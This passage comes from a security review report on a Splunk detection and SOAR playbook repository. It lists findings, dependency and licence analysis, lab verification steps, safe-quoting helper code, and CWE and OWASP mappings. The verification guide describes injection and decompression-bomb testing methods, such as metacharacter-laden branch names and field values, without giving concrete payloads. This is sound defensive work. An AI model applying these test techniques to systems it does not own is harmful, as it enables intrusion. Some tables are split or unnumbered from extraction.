DEP-09	SOAR playbooks declare no app versions and depend on unversioned community functions and platform-bundled libraries	Low	3.1	Dependencies
DEP-12	Dependency-update automation does not cover pip or docker ecosystems; no SBOM produced with releases	Low	3.1	Dependencies
DET-08	Malformed drilldown SPL in Copilot and Ollama detections (unbalanced quotes)	Low	3.1	Detection content
PB1-09	CrowdStrike Dynamic Analysis URL scoring is dead code or crash-prone (wrong datapaths, zip order)	Low	3.1	SOAR playbooks
PB1-11	Destructive leaf playbooks read raw unfiltered inputs, defeating the preceding filter	Low	3.1	SOAR playbooks
PB1-13	Account dispatch report/tagging logic flaws (only first user tagged, duplicated rows, None crash)	Low	3.1	SOAR playbooks
PB2-13	Hard-coded placeholder email recipient and sender in email_notification_for_malware	Low	3.1	SOAR playbooks
PB2-14	Unsanitised artifact data in notification email body	Low	3.1	SOAR playbooks
DET-12	map subsearches with non-attacker-controlled $token$ substitution (defence-in-depth)	Low	2.6	Detection content
PB1-12	Unguarded dict/list/regex access on connector and artifact data (crash / DoS)	Low	2.6	SOAR playbooks
PB1-14	Shallow-copy bug mislabels interaction artifacts in Automated Email Investigation	Low	2.6	SOAR playbooks
PB1-15	Super-linear regex on endpoint-controlled RTR stdout and invalid escape sequences	Low	2.6	SOAR playbooks
CI-15	Unbounded $ref recursion in validate_response_templates.py	Low	2.3	CI/CD

ID	Title	Severity	CVSS	Area
DET-09	Drilldown tokens not produced by the detection search (102 dead pivots)	Low	2.3	Detection content
APP-07	Lookup CSV cells beginning with formula characters (export-boundary CSV injection surface only)	Low	2.0	Splunk app and dashboards
APP-03	Logic defect: missing leading pipe in remove_valid_domains subsearch	Low	—	Splunk app and dashboards
APP-04	Over-broad placeholder filter macros (search *) and permissive shipped allow-lists	Low	—	Splunk app and dashboards
APP-05	Lookup WILDCARD match_type references a column absent from the CSV (suspicious_ports_list)	Low	—	Splunk app and dashboards
APP-06	Stale and unattributed threat-intelligence lookups (SSLBL, dynamic DNS providers)	Low	—	Splunk app and dashboards
APP-09	Example identity lookups shipped as defaults (domain_controllers, domain_admins)	Low	—	Splunk app and dashboards
APP-12	Response templates: unquoted src_user SPL token and instance-specific asset IDs	Low	—	Splunk app and dashboards
DEP-07	contentctl-ng has no licence metadata, placeholder description and a non-public source repository	Low	—	Dependencies
SEC-08	Secret-prevention controls are weak: no scanner in CI, inert pre-commit hook, incomplete .gitignore	Low	—	Secrets
PB1-16	phantom.debug logs full observable and result structures (investigation data to logs)	Informational	1.8	SOAR playbooks
APP-10	Lookup CSV header hygiene: UTF-8 BOM and leading-space field names	Informational	—	Splunk app and dashboards
APP-13	JSON schemas leave SPL/playbook/cron fields unconstrained; RemovedContent schema lacks additionalProperties:false	Informational	—	Splunk app and dashboards
APP-14	Documentation instructs bypassing pre-commit hooks (git commit --no-verify); yamllint scoped to detections only	Informational	—	Splunk app and dashboards
CF-17	Deprecated naive-UTC datetime APIs and epoch truncation	Informational	—	SOAR custom functions
CI-11	.github/workflows/labeler.yml uses pull_request_target safely (positive control, informational)	Informational	—	CI/CD
CI-12	OpenAPI example values flagged by secret scanners are placeholders (informational)	Informational	—	CI/CD
CI-14	Hard-coded admin password for the throw-away CI Splunk container (informational)	Informational	—	CI/CD

ID	Title	Severity	CVSS	Area
CI-16	bump-yaml.sh follows secure shell practices (positive note)	Informational	—	CI/CD
DET-13	Cleartext http:// references and malformed references in shipped content	Informational	—	Detection content
DET-14	66 production detections validated only by disabled manual tests (attack_data provenance otherwise clean)	Informational	—	Detection content
DET-15	Deprecated and removed content remains in tree; contentctl excludes it from live searches (positive control)	Informational	—	Detection content
DET-18	Playbook metadata references non-existent or mismatched JSON filenames	Informational	—	Detection content
DET-19	Detection identifiers unique; 127 detections with empty data_source (schema conformance otherwise clean)	Informational	—	Detection content
PB1-17	Correctness and dead-code defects (misrouted enrichment dispatch, wrong keys, column mismatch)	Informational	—	SOAR playbooks
PB1-18	Analyst-prompt design weaknesses in the Search-and-Purge playbooks	Informational	—	SOAR playbooks
PB2-16	Bare except and unguarded dictionary/division in result normalisation blocks	Informational	—	SOAR playbooks
PB2-17	Legacy python_version and Classic-editor playbooks carry the ungated destructive patterns	Informational	—	SOAR playbooks
SEC-04	Expired AWS STS temporary credential committed in a sample log	Informational	—	Secrets
SEC-09	Third-party reputation-service URL with alliance key parameters in SOAR playbook sample values	Informational	—	Secrets

6. Open-Source, Third-Party, End-of-Life and Licensing Analysis

A full software composition analysis was performed on the build toolchain, the GitHub Actions, the Splunk platform and add-ons, the SOAR connector requirements, the pre-commit tooling and the third-party data embedded in the repository. Component versions, end-of-life dates and licences were verified online against PyPI, the OSV advisory database, endoflife.date, Docker Hub, Splunkbase and the Go module proxy on the review date; items that could only be reasoned from training knowledge are identified as such in the detailed findings DEP-01 through DEP-12.

5.1 Vulnerable and unlocked components

The build tool `contentctl-ng` version 1.1.1 is the only pinned Python requirement. It pulls 18 direct dependencies with lower-bound-only constraints, resolving to 65 packages with no lockfile and no hashes. The resolution obtained on the review date is clean: a strict audit reported zero known vulnerabilities across the 65 packages. The same requirement set resolved at its minimum permitted versions carries 37 published advisories, including 25 in an old GitPython and one each in old `requests` and `pydantic-settings` releases. The exposure is therefore structural, the resolver is free to select a vulnerable or malicious future release, rather than a present vulnerability. Several workflows additionally install packages with no version constraint at all, and one of those jobs holds long-lived cloud credentials (finding DEP-02, the single High in this area).

5.2 End-of-life components

Component	Version in repo	Status on review date	Finding
Splunk Enterprise test container	`splunk/splunk:9.3`	9.3 reached end of life 2026-07-24; current line is 10.6	DEP-04
CI Python runtime	3.10	reached end of life 2026-10-01	DEP-04
Splunk add-ons installed for testing	38 pinned tarballs	10 are a full major version behind Splunkbase	DEP-08
SOAR playbook exports	schema 4 and 5.x	exported from unsupported SOAR builds back to 4.10	DEP-04, DEP-09
DSDL notebook stack	torch 1.11, numpy 1.19, Python 3.8 to 3.9	torch 1.11 carries 30 advisories including a load-time code-execution issue; content is deprecated and not shipped	DEP-11, DET-16

No component that ships to ESCU customers in the built app is itself end-of-life; the exposure is in the test and build environment and in deprecated content.

5.3 Supply-chain integrity

Every third-party GitHub Action is referenced by a mutable major tag rather than a commit digest, two of them in credential-handling positions; a Go tool is installed at `@latest`; dozens of app tarballs and two container images are fetched by mutable name with no checksum; and the test-data cache tracks a moving branch. None of these verifies the bytes it executes. Findings DEP-03 and DEP-05 give the exact pinning remediation with verified commit digests.

5.4 Licence compliance

The repository is Apache-2.0. Two embedded lookup datasets are derived from GPL-3.0 upstream projects and are redistributed with no notice or attribution, which is incompatible with Apache-2.0 one-way compatibility; several Apache-2.0 and MITRE-licensed datasets are redistributed without the attribution those licences require; there is no NOTICE file anywhere in the tree; no Python file carries a licence header; and the core build dependency publishes no licence metadata from a non-public source repository. One large lookup has no stated provenance at all. No copyleft code ships to customers in the built app, the two GPL tools in the dependency tree are build-time only. Finding DEP-06 provides the NOTICE text, per-lookup provenance fields and the three options for resolving the GPL-derived data.

5.5 Software bill of materials

A complete component inventory, with each package version, source, licence, latest known version, end-of-life status and known vulnerabilities, is maintained in the dependency finding set (DEP-01 lists the full 65-package table). The recommendation is to generate a hash-locked requirements file, add the pip and container ecosystems to automated dependency updates, and publish a CycloneDX software bill of materials with every release (finding DEP-12).

7. Verification Guide: Where to Test and How to Confirm the Fixes

No live system was available to this review, so each proof of concept was executed against the extracted code in an isolated sandbox (details are inside each finding). This section tells you which disposable systems you need to reproduce the finding classes and, more importantly, how to confirm that a remediation works. Use only non-production systems that you own.

7.1 Test environments

Finding class	Server to test on	How to obtain it
Dashboard token handling (APP-01, APP-02, APP-12)	A disposable Splunk Enterprise 10.x instance with the built ESCU app installed	Run `contentctl-ng build` in the repo, start `splunk/splunk:10.0.11` in Docker with the web port published, install `dist/DA-ESS-ContentUpdate.tar.gz` through Apps, Manage Apps, Install app from file
SOAR playbook input handling and approval gates (PB1-*, PB2-*, CF-*)	A Splunk SOAR 6.4 lab instance (Community Edition OVA or trial) with connectors pointed at lab targets only: a throw-away Windows VM with WinRM, a Linux VM with SSH, a lab AD or cloud tenant	Import each playbook from `playbooks/`, configure assets to the lab targets
CI expression handling (CI-01, CI-02)	A private fork of the repository that you own, with Actions enabled	Fork, keep workflows unchanged, open pull requests from a second account
Supply-chain and licence findings (DEP-*)	Any workstation with Python 3.14 and PyPI access	`uv venv --python 3.14`, `uv pip install contentctl-ng==1.1.1`, `pip-audit`, `pip-licenses`
Secrets findings (SEC-*)	The repository checkout itself	`gitleaks detect --source . --no-git` and `detect-secrets scan --all-files`

7.2 Confirming the dashboard fixes (APP-01, APP-02)

1. Apply the `|s` safe-quote filter to every token that is placed inside a `search` command in `app_template/default/data/ui/views/escu_summary.xml` and `dashboards/applocker.json`, remove the literal `<prefix>"</prefix>` and `<suffix>"</suffix>` wrapper, and set `submitOnDashboardLoad` to false on the AppLocker dashboard.
2. Rebuild and reinstall the app on the test Splunk instance.
3. Open each dashboard, choose a value from the dropdown, and inspect the executed search in the Job Inspector (the search string is shown under "Search job properties"). The token value

must appear as a single double-quoted SPL string literal with any embedded quote escaped. If the value is still concatenated bare, the fix was not applied.

4. Confirm the AppLocker panels no longer run until Submit is pressed.

7.3 Confirming the SOAR fixes (PB1-01 to PB1-03, PB2-01 to PB2-04, PB2-10)

1. In the SOAR lab, create a test container with artifacts whose CEF fields contain the shell, PowerShell and query metacharacters listed in each finding (quotes, semicolons, pipes, brackets, commas, parentheses). Use a hostname and file path that exist only in the lab.
2. Run the patched playbook in debug mode and open the action's "parameters" tab in the SOAR UI for the `execute program`, `run script`, `run command`, `query device`, `run query` and `run admin command` actions.
3. Expected result after the fix: the parameter shows the value as one quoted argument (`shlex.quote` output for bash, single-quoted literals for PowerShell, a rejected-input error for FQL, LDAP and SPL when the value fails the allow-list), and the destructive branch stops at a `prompt2` approval addressed to a security role rather than running automatically.
4. For CF-04 (zip extraction), upload a 10 MiB zero-filled file compressed into a small zip to the vault and run `zip_extract`; the patched function must refuse the archive on the ratio check and leave no directory under `/opt/phantom/vault/tmp/`.
5. For PB1-06, run `AWS_IAM_Account_Unlocking` against a lab IAM user and confirm in CloudTrail that `CreateLoginProfile` carried `PasswordResetRequired=true` and that no fixed password string appears in the playbook JSON or in the container comments.
6. For PB1-08, feed a Talos result with threat level `Untrusted` and confirm the normalized score is `Malicious`, not blank.

7.4 Confirming the CI fixes (CI-01, CI-02, CI-04, DEP-02, DEP-05)

1. In your private fork, apply the `env:` indirection shown in CI-01 to `unit-testing.yml`, add `permissions: {contents: read}`, pin every `uses:` to a commit SHA, and move `aws-actions/configure-aws-credentials` below the dependency-install step in `update_splunk_tas.yml`.
2. From a second GitHub account, open a pull request from a branch whose name contains shell metacharacters that Git accepts (dollar-parenthesis and backticks are accepted; a bare double quote is not).
3. Approve the workflow run and read the "Print out information about PR target" step log. The branch name must be printed verbatim as text. If any command substitution took place the log will show its output instead of the literal name.
4. Run `semgrep --config p/github-actions .github/workflows` and confirm zero `run-shell-injection` and zero `github-actions-mutable-action-tag` results.

7.5 Confirming the dependency fixes (DEP-01, DEP-02, DEP-12)

1. Generate `requirements.txt` with `pip-compile --generate-hashes` from a one-line `requirements.in`, install with `pip install --require-hashes --no-deps -r requirements.txt` and confirm pip refuses an edited hash.

2. Add the `pip` and `docker` ecosystems to `.github/dependabot.yml` and confirm Dependabot opens a grouped pull request within a week.
3. Run `pip-audit --strict --require-hashes -r requirements.txt` in CI and confirm the job fails when a known-vulnerable pin is introduced on purpose, then passes once reverted.

7.6 Confirming the secrets fixes (SEC-*, CI-03, APP-11)

1. Remove the token `print` in `ta_update.py`, replace fixture identifiers in `data_sources/*.yml` with documented placeholders, and run `gitleaks detect --source . --no-git` plus `detect-secrets scan --all-files`; the AWS access-key-id and generic-api-key rules must report zero hits in `data_sources/`.
2. Trigger `update_splunk_tas.yml` manually with `workflow_dispatch` and read the log: the Splunkbase token line must be absent or masked.

8. SANS Secure Coding Practices and Language Best-Practice Assessment

This section scores the repository against the SANS/CERT Secure Coding Practices checklist and the language-specific best practices for Python, GitHub Actions and Splunk SPL. Each area is marked Met, Partially met or Not met, with the governing findings.

Practice area	Status	Evidence and findings
Input validation	Not met	Hostnames, file paths, PIDs, usernames, URLs, e-mail identifiers and search terms flow unvalidated into shell, PowerShell, SPL, FQL, LDAP, ServiceNow and REST-filter sinks (PB1-01 to PB1-05, PB2-01 to PB2-06, CF-01, CF-05 to CF-08, DET-02, DET-06). The Jira playbook validates and escapes correctly and is the reference pattern.
Output encoding	Not met	Command and query strings are built by concatenation without `shlex.quote`, PowerShell single-quote escaping or the Splunk `|s` filter; only one of 1,971 detections uses `|s`. Dashboard tokens and SOAR notes are emitted unencoded (APP-01, APP-02, DET-05, PB1-10, CF-01).
Authentication and password management	Not met	A fixed cloud console password ships in a playbook (PB1-06); the AD reset password uses a non-cryptographic generator (PB2-07); a well-known password is set on the test container (CI-14). The AD reset playbook does correctly avoid logging its generated password.
Session management	Not assessed	Managed by the Splunk and SOAR platforms, not by repository code.
Access control	Not met	Destructive response actions lack an approval gate and a protected-entity allow-list (PB1-03, PB2-09, PB2-10, DET-10); object-reference inputs are acted on without ownership checks (CF-09, CF-10); the app metadata exports knowledge objects system-wide (APP-08). Several playbooks demonstrate the correct prompt-plus-allow-list gate.
Cryptographic practices	Partially met	Non-cryptographic random number generation is used to produce two passwords (PB2-07, SEC-07); no home-grown cryptography and no weak transport were found.
Error handling and logging	Partially met	A session token and a cleartext password are written to logs and comments (CI-03, PB2-08); bare and broad exception handlers swallow errors (CI-09, PB2-16, CF-13); validation relies on `assert` statements that are stripped under optimisation (CF-13). Most playbooks avoid logging secrets, and several support searches fail closed.
Data protection	Not met	Real account identifiers, access-key identifiers, an expired session token and employee personal data remain in sample logs (SEC-03 to SEC-05, SEC-10, APP-11); a function returns the full asset configuration including possible secrets (CF-11). A partial scrubbing

Practice area	Status	Evidence and findings
		effort exists but is inconsistent.
Communication security	Partially met	All downloads and test-data fetches use HTTPS, and no `verify=False` reaches a remote host in the default deployment; however `verify=False` is set uniformly on SOAR REST calls (PB2-11, CF-03) and 22 reference links use cleartext HTTP (DET-13).
System configuration	Not met	GitHub Actions, container images, app tarballs and the dependency tree are unpinned (DEP-01, DEP-03, DEP-05); workflows omit least-privilege permission blocks (CI-13); placeholder-domain detections ship inert (DET-07); permissive filter macros ship as `search *` (APP-04).
Database security	Partially met	The SPL and SOAR query-injection class is the analogue of SQL injection against the Splunk search tier; least-privilege search accounts are not enforced (PB2-05, PB2-06, DET-02).
File management	Not met	Attacker-influenced paths reach file deletion and collection without canonicalisation (PB1-02, PB2-04); the archive extractor has no decompression caps or cleanup (CF-04); an executable is probed on an untrusted path (CI-08).
Memory management	Not assessed	The reviewed code is Python, JavaScript-free workflow YAML and SPL; there is no manual memory management. Resource-exhaustion issues are captured under input validation (CF-04, CF-05, CF-07, PB1-15).
General coding practices	Partially met	No `eval`, `exec`, `os.system`, `subprocess` shell, or `pickle` of untrusted data appears in shipped code, a genuine strength; however many files carry dead code, unused imports, deprecated datetime APIs and invalid escape sequences that already warn on current Python (CF-17, PB1-15, PB1-17).

8.1 Language-specific notes

Python. Use `shlex.quote` for shell arguments and a single-quote-doubling helper for PowerShell; replace `random` with `secrets` for any security value; replace `assert`-based validation with explicit checks that raise; use `defusedxml` for untrusted XML; add timeouts to every outbound request; and make every regular-expression literal a raw string. The PEP 8 and PEP 506 guidance is already followed in parts of the codebase and should be applied uniformly.

GitHub Actions. Never interpolate `github` context values into a `run` block; pass them through the `env` map and reference shell variables. Pin every action to a commit digest, set an explicit least-privilege `permissions` block on every workflow, and keep untrusted-code jobs on ephemeral runners.

Splunk SPL. Quote every token substituted into a `search`, `where` or `map` with the `\|s` safe-quote filter; prefer `stats` and `join` over the per-row `map` command; and normalise case with `lower()` before any `match` or `LIKE` used as a security discriminator.

9. Refactoring Recommendations and Secure Implementation Examples

The findings share a small number of root causes, so a handful of shared components resolve most of them. The detailed per-finding remediations in Section 4 give the exact fixed code; this section gives the cross-cutting refactors and the risk each one retires.

9.1 One escaping helper per query language

Add a single shared custom function per sink language and route every string that reaches that sink through it: a bash quoter using `shlex.quote`, a PowerShell single-quote-literal quoter, an SPL quoter that applies the `|s` filter, an FQL value validator, an RFC 4515 LDAP escaper, a ServiceNow encoded-query sanitiser, and a REST-filter encoder that passes values through the request library's `params` argument. This single refactor resolves the command-injection and query-injection findings across the playbooks, custom functions and detections (PB1-01 to PB1-05, PB2-01 to PB2-06, CF-01, DET-02, DET-05) and prevents regression because new content inherits the safe path. The project's Jira playbook already demonstrates the pattern.

```
import shlex

def safe_bash(parts):
    """Join argv tokens so shell metacharacters cannot start a new command."""
    return " ".join(shlex.quote(str(p)) for p in parts)

def ps_literal(value):
    """Return a PowerShell single-quoted string literal (no subexpression evaluation)."""
    return "'" + str(value).replace("'", "''") + "'"

def spl_quote(value):
    """Return an SPL double-quoted string literal with embedded quotes escaped."""
    return '"' + str(value).replace("\\", "\\\\").replace('"', '\\"') + '"'
```

9.2 One approval-and-exclusion gate before every destructive action

Factor the analyst-approval prompt that several playbooks already use into a reusable block, back it with a `protected_entities` list of break-glass accounts, administrator groups, corporate domains and critical hosts, and place it in front of every account-disable, host-isolate, process-terminate, mail-delete and indicator-block action. Filter the protected entities out before acting and require per-target confirmation for high-impact actions. This retires the ungated-destructive-action findings (PB1-03, PB2-09, PB2-10, DET-10) and removes the self-denial-of-service path that attacker-chosen input currently opens.

9.3 Separate baseline maintenance from alerting

In the stateful detections, remove the `outputlookup` that writes the triggering event back into the allow-list and move promotion into a governed support search that runs less often, excludes events already judged malicious, and requires a minimum observation count and age before trusting a value. The detection becomes read-only against the baseline. This resolves the allow-list-poisoning findings (DET-03, DET-04) and restores the integrity of the "first time seen" pattern.

```
... | stats earliest(_time) as firstTimeSeen latest(_time) as lastTimeSeen by service
  | eval observations=1
  | inputlookup previously_seen_running_windows_services append=t
  | stats sum(observations) as observations min(firstTimeSeen) as firstTimeSeen
max(lastTimeSeen) as lastTimeSeen by service
  | where observations >= 3 AND (now() - firstTimeSeen) > 86400
  | outputlookup previously_seen_running_windows_services
```

9.4 Pin the supply chain by content

Generate a hash-locked requirements file and install with hash verification; pin every GitHub Action to a commit digest and let the dependency bot maintain it; pin the container images by digest and publish checksums for the app tarballs; move credential setup after package installation in the scheduled job and prefer short-lived federated credentials over long-lived keys; and add the pip and container ecosystems to the dependency bot. This retires the supply-chain findings (DEP-01 to DEP-05, CI-04) and makes the build reproducible.

9.5 Secret and sample-data hygiene

Replace the shipped console password with a per-run generated credential delivered out of band; stop printing the session token to logs and add runtime masking; run the sample-log sanitiser over the data-source fixtures to replace real account identifiers, access-key identifiers and personal data with documented placeholders; and add secret scanning to the pre-commit hooks and the pipeline with an allow-list for the documented placeholders. This retires the secret and data-exposure findings (PB1-06, CI-03, SEC-03 to SEC-05, SEC-08, SEC-10).

9.6 Build-time validation

Add contentctl validators that reject a bare `$field$` inside any drilldown or `map` search whose token is not a time variable, that require a protected-entity gate before a destructive playbook action, that confirm each lookup match field exists in its CSV header, and that fail the build on a non-placeholder access key, account identifier or internal domain in the data sources. Enforcing the standard at build time prevents the whole class of issue from recurring, which is more durable than fixing the current instances alone.

10. Framework and Standards Mappings

Every finding is mapped to the industry frameworks below. Each subsection is also delivered as a standalone document so a reader focused on one framework can use it on its own.

10.1 CWE and the 2024 CWE Top 25

The table lists each 2024 CWE Top 25 weakness, whether this assessment found an instance, and the findings that carry it.

Rank	CWE	Name	Found	Findings
1	CWE-79	Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)	Yes	PB1-10
2	CWE-787	Out-of-bounds Write	No	—
3	CWE-89	SQL Injection	Yes	APP-01, APP-02, PB2-05, PB2-06
4	CWE-352	Cross-Site Request Forgery	No	—
5	CWE-22	Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)	Yes	CF-18, PB1-02
6	CWE-125	Out-of-bounds Read	No	—
7	CWE-78	OS Command Injection	Yes	CI-01, PB2-01, PB2-02, PB2-03, PB2-04, PB2-15
8	CWE-416	Use After Free	No	—
9	CWE-862	Missing Authorization	Yes	CF-09, PB1-03, PB2-10
10	CWE-434	Unrestricted Upload of File with Dangerous Type	No	—
11	CWE-94	Improper Control of Generation of Code (Code Injection)	Yes	CI-01, CI-02
12	CWE-20	Improper Input Validation	Yes	APP-05, APP-10, APP-13, CF-01, CF-02, CF-06, CF-07, CF-08, CF-14, CF-15, CF-16, CF-18, PB1-07, PB1-11, PB1-12, PB1-15
13	CWE-77	Improper Neutralization of Special Elements used in a Command (Command Injection)	Yes	DET-02, DET-05, PB1-02
14	CWE-287	Improper Authentication	No	—
15	CWE-269	Improper Privilege Management	No	—
16	CWE-502	Deserialization of Untrusted Data	Yes	DET-16
17	CWE-200	Exposure of Sensitive Information to an Unauthorized Actor	Yes	CF-11, CF-12, PB1-16, PB2-13, SEC-03, SEC-05, SEC-

Rank	CWE	Name	Found	Findings
				10
18	CWE-863	Incorrect Authorization	No	—
19	CWE-918	Server-Side Request Forgery (SSRF)	No	—
20	CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer	No	—
21	CWE-476	NULL Pointer Dereference	Yes	CF-15
22	CWE-798	Use of Hard-coded Credentials	Yes	CI-14, PB1-06
23	CWE-190	Integer Overflow or Wraparound	No	—
24	CWE-400	Uncontrolled Resource Consumption	Yes	CF-04, CF-05, CF-07, CI-05, CI-15, PB1-15
25	CWE-306	Missing Authentication for Critical Function	Yes	PB1-03

All CWE identifiers cited (including those outside the Top 25)

CWE	Name	Top 25 rank	Findings
CWE-79	Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)	1	PB1-10
CWE-89	SQL Injection	3	APP-01, APP-02, PB2-05, PB2-06
CWE-22	Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)	5	CF-18, PB1-02
CWE-78	OS Command Injection	7	CI-01, PB2-01, PB2-02, PB2-03, PB2-04, PB2-15
CWE-862	Missing Authorization	9	CF-09, PB1-03, PB2-10
CWE-94	Improper Control of Generation of Code (Code Injection)	11	CI-01, CI-02
CWE-20	Improper Input Validation	12	APP-05, APP-10, APP-13, CF-01, CF-02, CF-06, CF-07, CF-08, CF-14, CF-15, CF-16, CF-18, PB1-07, PB1-11, PB1-12, PB1-15
CWE-77	Improper Neutralization of Special Elements used in a Command (Command Injection)	13	DET-02, DET-05, PB1-02
CWE-502	Deserialization of Untrusted Data	16	DET-16
CWE-200	Exposure of Sensitive Information to an Unauthorized Actor	17	CF-11, CF-12, PB1-16, PB2-13, SEC-03, SEC-05, SEC-10
CWE-	NULL Pointer Dereference	21	CF-15

CWE	Name	Top 25 rank	Findings
476			
CWE-798	Use of Hard-coded Credentials	22	CI-14, PB1-06
CWE-400	Uncontrolled Resource Consumption	24	CF-04, CF-05, CF-07, CI-05, CI-15, PB1-15
CWE-306	Missing Authentication for Critical Function	25	PB1-03
CWE-1053		—	DET-14, DET-19
CWE-1059	Insufficient Technical Documentation	—	SEC-08
CWE-1078		—	DET-08, DET-09, DET-18
CWE-1104	Use of Unmaintained Third Party Components	—	APP-06, DEP-01, DEP-02, DEP-03, DEP-04, DEP-06, DEP-07, DEP-08, DEP-09, DEP-10, DEP-12, DET-16, PB2-17
CWE-1127		—	APP-14
CWE-116	Improper Encoding or Escaping of Output	—	CI-10, DET-02, DET-05, DET-12, PB1-10, PB2-14
CWE-117		—	CI-10
CWE-1188	Initialization of a Resource with an Insecure Default	—	APP-04, APP-09, APP-12, DET-07, PB2-13
CWE-1236	Improper Neutralization of Formula Elements in a CSV File	—	APP-07
CWE-1286	Improper Validation of Syntactic Correctness of Input	—	APP-13
CWE-1333	Inefficient Regular Expression Complexity (ReDoS)	—	CF-05, CF-07, PB1-15
CWE-1357	Reliance on Insufficiently Trustworthy Component	—	DEP-05, DEP-07, DEP-09
CWE-1395	Dependency on Vulnerable Third-Party Component	—	DEP-01, DEP-02, DEP-04, DEP-08, DEP-12
CWE-172		—	CF-16
CWE-176		—	APP-10
CWE-178	Improper Handling of Case Sensitivity	—	DET-06
CWE-183		—	APP-04, PB2-12
CWE-	Incomplete List of Disallowed Inputs	—	DET-06

CWE	Name	Top 25 rank	Findings
184			
CWE-248		—	CF-14, PB1-12, PB1-13
CWE-250	Execution with Unnecessary Privileges	—	CI-13
CWE-259	Use of Hard-coded Password	—	PB1-06
CWE-272		—	CI-13
CWE-284	Improper Access Control	—	APP-08, CF-10, PB1-03
CWE-285	Improper Authorization	—	PB2-09, PB2-12
CWE-295	Improper Certificate Validation	—	CF-03, PB2-11
CWE-312	Cleartext Storage of Sensitive Information	—	CI-03, PB2-08, SEC-03, SEC-04
CWE-319	Cleartext Transmission of Sensitive Information	—	DET-13
CWE-330		—	PB2-07
CWE-338		—	PB2-07
CWE-345	Insufficient Verification of Data Authenticity	—	DET-03, DET-04
CWE-349	Acceptance of Extraneous Untrusted Data With Trusted Data	—	DET-03, DET-04
CWE-357		—	PB1-18
CWE-359	Exposure of Private Personal Information to an Unauthorized Actor	—	SEC-05
CWE-390	Detection of Error Condition Without Action	—	CI-09, PB1-09
CWE-391	Unchecked Error Condition	—	PB2-16
CWE-396		—	CI-09, PB2-16
CWE-409	Improper Handling of Highly Compressed Data (Data Amplification)	—	CF-04
CWE-426		—	CI-08
CWE-427		—	CI-08, DEP-10

CWE	Name	Top 25 rank	Findings
CWE-459		—	CF-04
CWE-471		—	PB1-14
CWE-477	Use of Obsolete Function	—	CF-17
CWE-478		—	PB1-08
CWE-494	Download of Code Without Integrity Check	—	DEP-01, DEP-02, DEP-03, DEP-05, DEP-10, DET-16, SEC-10
CWE-521	Weak Password Requirements	—	PB1-06
CWE-522		—	DEP-02
CWE-532	Insertion of Sensitive Information into Log File	—	CF-12, CI-03, PB1-16, PB2-08
CWE-540	Inclusion of Sensitive Information in Source Code	—	SEC-03, SEC-04, SEC-05, SEC-09, SEC-10
CWE-561	Dead Code	—	PB1-17
CWE-573		—	PB1-14
CWE-611		—	CI-05
CWE-617		—	CF-13
CWE-625		—	CF-06, CF-08
CWE-628		—	DET-08
CWE-636	Not Failing Securely (Failing Open)	—	PB1-08
CWE-639	Authorization Bypass Through User-Controlled Key (IDOR)	—	CF-09, CF-10
CWE-640		—	PB2-09
CWE-665		—	APP-05, DET-07
CWE-670		—	APP-03, PB1-09, PB1-13, PB1-17
CWE-672		—	APP-06
CWE-674		—	CI-15

CWE	Name	Top 25 rank	Findings
CWE-682		—	PB1-09, PB1-13
CWE-692		—	CF-06
CWE-693	Protection Mechanism Failure	—	DET-03, DET-04, DET-06, DET-07, SEC-08
CWE-697	Incorrect Comparison	—	PB1-08
CWE-703		—	CF-13, CF-16
CWE-73		—	PB2-04, PB2-15
CWE-732	Incorrect Permission Assignment for Critical Resource	—	APP-08
CWE-74	Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection)	—	CF-01, DET-02, DET-05, PB1-01, PB1-04, PB1-05, PB1-07
CWE-754	Improper Check for Unusual or Exceptional Conditions	—	CF-15, PB1-12
CWE-776		—	CI-05
CWE-807		—	DET-04, PB1-11
CWE-829	Inclusion of Functionality from Untrusted Control Sphere	—	CI-02, DEP-02, DEP-03, DEP-05, DEP-06
CWE-840		—	PB1-18
CWE-841		—	PB2-10
CWE-88	Improper Neutralization of Argument Delimiters in a Command (Argument Injection)	—	CF-01, PB1-02, PB1-05, PB2-03
CWE-90	Improper Neutralization of Special Elements used in an LDAP Query (LDAP Injection)	—	PB1-04
CWE-915	Improperly Controlled Modification of Dynamically-Determined Object Attributes (Mass Assignment)	—	CF-02
CWE-93		—	PB2-14
CWE-943	Improper Neutralization of Special Elements in Data Query Logic	—	APP-01, APP-02, APP-12, PB1-01, PB1-05, PB1-07, PB2-05, PB2-06

10.2 OWASP Top 10 2021

Every finding is mapped to one or more OWASP Top 10 2021 categories.

Category	Findings	Count
A01:2021 Broken Access Control	APP-08, CF-06, CF-09, CF-10, CF-11, CF-18, CI-13, PB1-03, PB2-09, PB2-10, PB2-12	11
A02:2021 Cryptographic Failures	CF-03, DEP-02, DET-13, PB2-07, PB2-11, SEC-03, SEC-04, SEC-05, SEC-10	9
A03:2021 Injection	APP-01, APP-02, APP-07, APP-12, CF-01, CF-06, CF-07, CF-08, CI-01, CI-10, DET-02, DET-05, DET-12, PB1-01, PB1-02, PB1-04, PB1-05, PB1-07, PB1-10, PB2-01, PB2-02, PB2-03, PB2-04, PB2-05, PB2-06, PB2-14, PB2-15	27
A04:2021 Insecure Design	CF-02, CF-11, CF-13, CF-15, CF-16, CI-03, CI-13, DET-03, DET-04, DET-06, PB1-07, PB1-08, PB1-09, PB1-11, PB1-12, PB1-13, PB1-14, PB1-17, PB1-18, PB2-08	20
A05:2021 Security Misconfiguration	APP-04, APP-05, APP-08, APP-09, APP-10, APP-12, APP-13, APP-14, CF-04, CF-05, CI-05, CI-15, DET-07, DET-15, DET-18, PB1-15, PB2-13, SEC-03, SEC-05, SEC-08, SEC-09, SEC-10	22
A06:2021 Vulnerable and Outdated Components	APP-06, CF-04, CF-05, CF-07, CF-14, CI-05, DEP-01, DEP-02, DEP-04, DEP-06, DEP-07, DEP-08, DEP-09, DEP-12, DET-16, PB2-17	16
A07:2021 Identification and Authentication Failures	CF-03, PB1-06, PB2-11	3
A08:2021 Software and Data Integrity Failures	APP-13, APP-14, CF-02, CI-02, CI-08, DEP-01, DEP-02, DEP-03, DEP-05, DEP-07, DEP-10, DET-16, SEC-08, SEC-10	14
A09:2021 Security Logging and Monitoring Failures	CF-12, CF-16, CI-03, CI-09, DET-03, DET-04, DET-07, DET-08, DET-09, DET-14, DET-19, PB1-16, PB2-08, PB2-16	14
A10:2021 Server-Side Request Forgery	—	0

10.3 MITRE ATT&CK

